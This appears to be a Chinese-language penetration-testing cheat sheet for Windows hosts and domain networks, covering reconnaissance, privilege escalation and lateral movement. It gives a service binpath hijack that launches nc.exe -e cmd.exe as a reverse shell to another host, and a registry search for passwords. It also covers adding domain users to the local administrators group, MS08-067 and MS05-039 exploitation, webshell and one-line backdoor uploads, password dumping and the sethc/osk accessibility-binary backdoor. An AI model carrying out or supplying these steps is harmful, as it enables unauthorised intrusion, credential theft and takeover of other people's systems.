1.操作系统的名称和版本信息
systeminfo
2.主机名称和所有环境变量
主机名称:hostname
环境变量:set
3.查看用户信息
查看用户:net user
查看管理员用户组:net localgroup administrators
查看远程终端在线用户:query user
4.查看远程端口
(1)通过注册表查看
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp/v PortNumber
(2)通过命令行查看
1.获取对应的PID号:
tasklist /svc
2.通过PID号查找端口
netstat -ano | find “1484”
5.查看网络情况
(1)网络配置情况:ipconfig /all
(2)路由器信息:route print
(3)查看ARP缓存
(4)查看网络连接
netstat -ano
(5)查看防火墙规则
netsh firewall show config
netsh firewall show state
6.应用程序和服务
查看服务的进程ID:tasklist /svc
查看已安装驱动程序列表:driverquery
查看已经启动的Windows服务:net start
查看某服务的启动权限:sc qc apache
查看已安装程序的列表:wmic product list brief
查看服务列表:wmic service list brief
查看进程列表:wmic process list brief
查看启动程序列表:wmic startup list brief
搜索可以提升权限的特定漏洞
wmic qfe get Caption,De**ion,HotFixID,InstalledOn | findstr /C:“KBXXXXXXX”
如果执行上面的命令没有输出,意味着那个补丁未安装
wmic process where name=“iexplore.exe” call terminate
7.检索敏感文件
dir /b /s .cod
8.目录文件操作
列出d:\www所有的目录
for /d %i in (d:\www\) do @echo %i
把当前路径下文件夹名字只有1~3个字母的显示出来
for /d %i in (???) do @echo %i
当前目录及其子目录的全部exe文件列出
for /r %i (*.exe) do @echo %i
把当前目录及其子目录中的所有文件列出
显示a.txt中的内容
9.rar打包
rar a -k -r -s -m3 c:\1.rar d:\wwwroot
10.PHP读文件
c:/php/php.exe “c:/www/admin/1.php”
11.注册表搜索关键字
reg query HKLM /f password /t REG_SZ /s
12.系统权限配置
cacls c:
cacls c:\windows\ma.exe
使用Windows-Exploit-Suggester获取目前系统中可能存在的漏洞,步骤如下:
1.收集并编译相关POC
2.若操作系统安装了杀毒软件及安全防护软件,则需要对提权POC进行免杀,否则直接进行下一步、
3.上传POC
4.由Webshell或者反弹webshell来执行命令
5.搜索漏洞,根据关键字进行搜索
1.在msf中使用search搜索漏洞
2.可自行搜索查看漏洞对应的版本
可以使用相关的poc.exe程序进行提权
Windows-Exploit-Suggester,用python开发而成,运行环境是python3.3及以上版本,且必须安装xlrd库,主要功能是通过比对systeminfo生成的文件发现系统是否存在未修复的漏洞。
1.下载Windows-Exploit-Suggester
Windows-Exploit-Suggester下载地址:
Windows-Exploit-Suggester.py
在这里xlrd库需要源码安装,使用pip安装在调用程序时会报错
2.下载漏洞库
运行命令:
Windows-Exploit-Suggester --update
3.生成系统信息文件
systeminfo > win10-systeminfo.txt
4.查看系统漏洞
windows-exploit-suggester.py --database 2019-08-20-mssb.xls --systeminfo win10-systeminfo.txt(win10)
windows-exploit-suggester.py --database 2019-08-20-mssb.xls --systeminfo win7-systeminfo.txt(win7)
其原理主要通过微软的AccessChk工具软件配合SC来操作服务服务,通过服务的重启而得到权限。
1.AccessChk简介
主要用来检查用户和用户组队文件、目录、注册表项、全局对象和系统服务的权限情况,在实际配置过程中如果权限设置失误,就可能被提权。
2.AccessChk参数
-a:Windows账户权限
-c:显示服务名称
-d:仅处理目录或顶级键
-e:只显示设置的完整性级别
-f:显示包含组合特权的完整过程令牌信息
-k:注册表键值
-I:在取消完全访问控制列表时忽略只继承符的对象
-l:显示全部访问列表
-n:仅显示没有访问权限的对象
-o:名称是对象管理器命名空间中的一个对象
-p:进程名或者PID
-q:省略标识
-r:显示对象只读属性
-s:递归
-t:对象类型赛选器
-u:抑制错误
-v:冗长
-w:仅显示具有写访问权限的对象
1.实验环境
本次实验环境为win20003,用户simeon属于Power User组,可登陆系统,IP地址为192.168.253.131.监听服务IP地址为192.168.253.132。将nc.exe复制到c:\windows\temp目录下
2.获取可读可写的服务
accesschk.exe -uwcqv “Power Users” *
3.查询服务详细信息
名称为"DcomLaunch"、"kdc"的服务可以被simeon用户操作。使用"sc qc kdc"命令查询kdc服务的详细信息.
4.确定使用的服务
net start | find “…”
5.获取服务名称对应的服务
tasklist /svc
1.修改DcomLaunch服务参数binpath的值
sc config DcomLaunch binpath= “C:\WINDOWS\temp\nc.exe -nv 192.168.253.139 4433 -e C:\WINDOWS\System32\cmd.exe”
执行命令成功后,再次使用sc qc DcomLaunch命令查看服务
2.重新启动服务
先执行sc config DcomLaunch obj= “.\LocalSystem” password= ""命令,后执行net start DcomLaunch命令
3.反弹获取服务器权限
在反弹服务器192.168.253.132中监听4433端口,成功获取来自192.168.253.131的反弹,且为系统权限
注:在这里靶机我使用的是administrator用户,simeon用户操作无法成功。
收集的信息越多,越有可能成功获取内网服务器权限。例如,在掌握一定的权限后,通过邮箱账号等信息进行社工密码收集,对用户的密码进行规律分析和社工字典生成。
(1)确定需要扫描的IP地址或者IP地址段
(2)收集用户名和密码
(3)编辑密码和口令配置文件
1.设置NTscan
设置好用户名和密码
2.执行扫描
3.实施控制(获取主机的管理员权限)
4.使用psexec工具,执行psexec命令
(1)寻找网络入口,获取域控用户权限,通过用户获取域控管理员信息
(2)获取域控服务器内某一台Web服务器或者其他服务器的权限
1.本机信息收集命令
用户列表:分析Windows用户列表,一定不要忽略administrator
分析邮件用户,内网/域邮件用户通常就是内网/域用户
进程列表:分析杀毒软件/安全监控工具、邮件客户端、VPN等
服务列表:与安全防范工具有关的服务(判断是否可以手动开关等),存在问题的服务(权限/漏洞)
端口列表:开放端口对应的常见服务/应用陈旭(匿名/权限/漏洞等),利用端口进行信息收集,建议深入挖掘(NETBIOS、SMB等)
补丁列表:分析Windows补丁、第三方软件(Java/Oracle/Flash等)的漏洞
本机共享(域内共享在很多时候是相同的):本机共享列表/访问权限,本机访问的域共享/访问权限
本地用户习惯分析:历史记录、收藏夹、文档等,特别是远程终端、PUTTY、FTP及SSH等
2.常见信息收集命令
查询本机用户列表:net user
查询本机管理员(通常含有域用户):net localgroup administrators
查询域管理用户:net group “domain admins” /domain
查询域用户:net user /domain
查询域里面的工作组:net group /domain
查询域名称:net view /domain
查询域内计算机:net time /domain
查询域管理员用户组:net localgroup administrators /domain
将域用户添加到本机:net localgroup administrators workgroup\user001 /add
查看域控制器(如果有多台):net group “Domain controllers”
查询本机IP段、所在域等:ipconfig /all
查询同一域内的机器列表:net view
查询所有域控制器:dsquery server
查询域内计算机:dsquery computer
查询域用户:dsquery user
查询域内联系人:dsquery contact
查询域内子网:dsquery subnet
查询域内用户组:dsquery group
查询域内组织单位:dsquery ou
查询域内站点:dsquery site
查询域内所有计算机:net group “domain computers” /domain
1.MS05-039漏洞
Windows的即插即用(PnP)功能允许操作系统在安装新硬件时检测这些设备。由于该功能中存在缓冲区溢出漏洞,因此成功利用这个漏洞的攻击者可以完全控制受影响的系统。
2.利用步骤:
(1)设置MS05-039漏洞利用程序
(2)扫描存在MS05-039漏洞的计算机
当扫描到存在溢出漏洞的计算机后,会反弹一个独立IP地址的DOSShell并以Telnet的方式显示
(3)查看扫描结果
查看有哪些被扫描的计算机
(4)实时控制
在DOSShell中使用vbs脚本下载Radmin的3个程序r_server.exe、raddrv.dll、admdrv.dll
(5)在DOS环境下安装Radmin
执行相关命令
(6)远程连接Radmin
1.扫描445端口
2.使用MS08-067溢出工具对结果进行溢出尝试
一个MS08-067.exe的程序
3.监听4444端口(端口在MS08-067.exe源程序中定制)
在执行扫描的计算机上使用nc监听4444端口
4.继续进行溢出(选择其他ip)
换一个IP地址执行溢出
5.查看服务器信息(判断是否对其进行后续控制)
6.添加管理员账号
7.上传文件
有很多种方式
8.获取系统详细信息及执行各种命令
9.登录被溢出的服务器
10.加固服务器
11.破解Hash值
1.获取文件上传地址
通过AWS,发现网站存在直接文件上传地址
2.直接上传网页木马
3.创建并操作一句话后门
4.上传大马进行管理
1.查看网站服务器文件(例如数据库文件)
2.查询目标网站所在服务器下的所有域名
3.分析数据库文件(可以获取FTP用户名、FTP密码)
4.上传PHP WebShell(通过账号和密码登录该FTP服务器,并上传webshell)
5.Pr提权
6.获取远程终端端口
7.登录远程终端端口
1.找到sql注入点并注入成功
2.扫描和获取后台地址
3.登录后台
1.查看添加的用户
2.使用lcx命令进行端口转发
3.连接远程桌面
Windows User Mode Scheduler在处理系统请求时存在权限提升漏洞,成功利用后可导致在内核模式中运行任意代码。
MS12-042提权工具被编译成sysret.exe,其部分参数如下L
sysret -p:表示把此时的进程提升到system权限
sysret -e:表示把程序提升到system权限运行
1.提权服务器信息收集与分析
(1)收集系统版本信息
(2)使用systeminfo命令获取补丁及操作系统信息
(3)查看当前用户权限
2.实施提权
1.找到明文管理员密码
2.查看远程终端端口
3.进入系统
1.获取系统口令
2.探测相同网段具有该端口的远程终端IP地址
3.使用获取的用户账号和密码登录
4.启用内外网卡
1.使用软件嗅探被挂马的页面
2.清除挂马代码
检测到入侵主机的ip,扫描该端口,发刊开放了3389端口、80端口、FTP服务
1.使用获取的FTP账号猜测服务器登录口令
2.从网站入手
3.从FTP目录入手
4.上传ASP.NET木马提升系统权限
上传的ASPX木马能执行命令了
5.获取数据库用户管理员密码
猜测的3389端口的密码不对,可能和数据库账户密码一致,所以从FTP下载这个数据库文件
6.再次登录远程终端
利用数据库的账户和密码登录远程终端
获取Webshell
1.使用"中国菜刀"连接
2.上传GetPass获取账户和密码
3.查看开放的端口
4.查看内网的情况
5.尝试内网渗透并查看权限
1.分析phpinfo函数暴露出来的有用信息
(1)操作系统
(2)服务器
(3)网站默认路径
3.查看泄露的文件
对根目录进行访问
3.获取数据库口令
利用泄露的文件,获取口令
4.连接并查看数据库
5.导出一句话后门到服务器
6.获取WebShell
1.对服务器进行提权
2.登录3389端口
找到baidu.zip备份及mszw.sql数据库文件泄露
1.扫描端口
2.反查IP地址所在域名
3.对端口进行测试
4.对存在的漏洞进行利用
5.获取WebShell
6.获取服务器密码
使用lcx进行内网渗透。在外网独立服务器上尝试连接和登录,成功登录该服务器。
将获取的口令放入NTscan的扫描字典中。
使用gsedump程序直接获取该域控服务器所有密码的列表
该漏洞的修复方法就是删除测试页面。
1.对目标端口进行扫描
2.在浏览器中对该IP地址进行访问
3.对存在的Web目录逐个进行访问测试
4.后台绕过漏洞
上传一个一句话后门PHP文件上传
1.寻找WebShell地址
2.收集和查看服务器上的敏感信息
3.获取数据库root账号密码
获取数据库root账号和密码的目的是在无法提权的情况下尝试进行Mysql数据库提权
1.使用 WebShell进行提权
2.登录远程终端
1.登录系统
戴尔服务器远程访问管理卡是在紧急情况下(例如宕机)辅助管理服务器的管理工具。
2.使用虚拟控制台
3.操控操作系统
1.加载ISO文件
2.启用虚拟介质
3.选择DOS工具集
4.使用DOS工具箱
提供了访问NTFS分区的功能
5.访问磁盘分区
可以直接查看目标所在的网站程序等信息
1.通过替换放大镜(osk.exe)或sethc.exe等获取Webshell
del osk.exe
dir osk.exe
copy cmd.exe osk.exe
2.重启系统获取系统权限